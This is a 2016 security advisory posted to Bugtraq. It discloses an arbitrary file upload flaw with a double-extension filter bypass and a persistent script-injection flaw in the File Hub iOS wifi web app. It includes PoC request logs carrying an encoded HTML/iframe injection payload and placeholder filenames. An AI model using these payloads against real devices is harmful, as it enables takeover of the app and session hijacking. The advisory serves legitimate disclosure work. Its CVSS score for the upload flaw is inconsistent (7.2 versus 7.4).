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File Hub v3.3 iOS (Wifi) - Multiple Web Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: File Hub v3.3 iOS (Wifi) - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 1 Feb 2016 12:39:24 +0100
Document Title:
===============
File Hub v3.3 iOS (Wifi) - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1695
Release Date:
=============
2016-02-01
Vulnerability Laboratory ID (VL-ID):
====================================
1695
Common Vulnerability Scoring System:
====================================
7.2
Product & Service Introduction:
===============================
File Hub helps you accessing files on your iOS Device, Cloud Service and Remote
Computer. It is powerful and intuitive, View, Play many file formats,
easily transfer files between computer or iOS devices and manage files via
browser on computer.
(Copy of the Vendor Homepage:
https://itunes.apple.com/us/app/file-hub-powerful-intuitive/id520299954 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
vulnerabilities in the official File Hub mobile iOS wifi web-application.
Vulnerability Disclosure Timeline:
==================================
2016-02-01: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Gu Jing (iMore Apps)
Product: File Hub - Mobile Web Application 3.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the official
File Hub mobile iOS wifi web-application.
The arbitrary file upload web vulnerability allows remote attackers to
unauthorized include local file/path requests or system specific path
commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `File Upload`
module. Remote attackers are able to inject own files with malicious `filename`
values in the `upload.php` file POST method request to compromise the mobile
web-application. The local file/path include execution occcurs in the index
file dir
listing and sub folders of the wifi interface. The attacker is able to inject
the lfi payload by usage of the wifi interface or the local file sync function.
The attacker can also attach multiple file extensions to bypass the web-server
file validation to execute a malicious web-shell finally. Remote attackers can
exchange the filename with a double or tripple extension via POST method to
bypass the upload validation and filter process. After the upload the attacker
access
the file with one extension and exchange it with the other one to execute for
example own php codes.
Attackers are also able to exploit the filename issue in combination with
persistent injected script code to execute different malicious attack requests.
The attack vector is located on the application-side of the wifi service and
the request method to inject is POST.
The security risk of the local file include vulnerability is estimated as high
with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the arbitrary file upload web vulnerability requires no user
interaction or privileged web-application user account.
Successful exploitation of the arbitrary file upload vulnerability results in
mobile application compromise or connected device component compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] File Upload
Vulnerable File(s):
[+] upload.php
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] File Dir Index Listing
1.2
A persistent input validation web vulnerability has been discovered in the
official File Hub mobile iOS wifi web-application.
The vulnerability allows remote attacker to inject malicious persistent script
codes to the application-side of the mobile application.
The vulnerability is located in the name value of the filename or rename
function. Remote attackers are able to edit files by renaming them.
Thus function can be used to inject own malicious script codes to the
application-side of the index file dir listing interface application.
The request method to inject is POST and the attack vector of the issue is
located on the application-side of the wifi interface mobile app.
The injection point is the rename name input field and the execution point is
the file dir index that displays finally the uploaded or edited
web context.
The security risk of the application-side web vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the application-side web vulnerability requires no privilege
web-application user account and only low or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing,
session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module
context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] File Rename
Vulnerable File(s):
[+] rename.php
Vulnerable Parameter(s):
[+] name
Affected Module(s):
[+] File Dir Index Listing
Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote
attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: URL
http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!]
PoC: Source
<tr style="" data-record-key="/"><"<img src="x">%20%20>"<./[ARBITRARY UPLOADED
FILE - EXECUTION!]>" class="jtable-data-row">
<td class="jtable-selecting-column"><input type="checkbox"></td><td><img
src="/webroot/images/fileicons/folder.png" height="32px" width="32px"></td>
<td><a style="cursor: pointer;" href=".">"><"<./[ARBITRARY UPLOADED FILE -
EXECUTION!]></a></iframe></a></td><td>N/A</td><td>25.01.16, 21:35</td><td></td>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/upload.php Load
Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[16] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
X-Requested-With[XMLHttpRequest]
Cache-Control[no-cache]
Referer[http://localhost:8080/]
Content-Length[1172]
Content-Type[multipart/form-data;
boundary=---------------------------21961273099611]
Cookie[jtable%2376270709page-size=100]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------21961273099611
Content-Disposition: form-data; name="uploader"
fineuploader
-----------------------------21961273099611
Content-Disposition: form-data; name="dirpath"
/
-----------------------------21961273099611
Content-Disposition: form-data; name="qquuid"
3c9f405a-3686-473a-bc5d-68558901ac7e
-----------------------------21961273099611
Content-Disposition: form-data; name="qqtotalfilesize"
538
-----------------------------21961273099611
Content-Disposition: form-data; name="qqfile"; filename="./[ARBITRARY FILE
UPLOAD VULNERABILITY!]2.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!] Load
Flags[LOAD_NORMAL] Größe des Inhalts[0] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Cookie[jtable%2376270709page-size=100]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Date[Fri, 29 Jan 2016 13:23:38 GMT]
Reference(s):
http://localhost:8080/upload.php
1.2
The persistent input validation web vulnerability can be exploited by remote
attackers without privileged web-application user account and with low user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: URL
http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!]
PoC: Source
<td class="jtable-command-column"><button class="jtable-command-button
jtable-edit-command-button" title="Rename file"><span>Rename file
</span></button></td><td class="jtable-command-column"><button
class="jtable-command-button jtable-delete-command-button"
title="Delete"><span>Delete</span></button></td></tr>
... or via delete after the adding procedure is done ...
<span class="jtable-delete-confirm-message">Are you sure to delete file
""><"<[PERSISTENT INEJCTED SCRIPT CODE!]></span>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/rename.php Load Flags[LOAD_BACKGROUND
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[232] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost:8080/]
Content-Length[113]
Cookie[jtable%2376270709page-size=100]
Connection[keep-alive]
POST-Daten:
FileId[%2FZuhce]
Name[%22%3E%3C%22%3Cimg%20src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe%20src%3Da%3E%2520%3Ciframe%3E]
Response Header:
Accept-Ranges[bytes]
Content-Length[232]
Date[Fri, 29 Jan 2016 13:23:37 GMT]
-
Status: 200[OK]
GET http://localhost:8080/x[ARBITRARY FILE UPLOAD VULNERABILITY!] Load
Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Cookie[jtable%2376270709page-size=100]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Date[Fri, 29 Jan 2016 13:23:39 GMT]
Reference(s):
http://localhost:8080/rename.php
Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the wifi
interface application is estimated as high. (CVSS 7.4)
1.2
The security risk of the persistent web vulnerability in the wifi interface
application rename function is estimated as medium. (CVSS 3.5)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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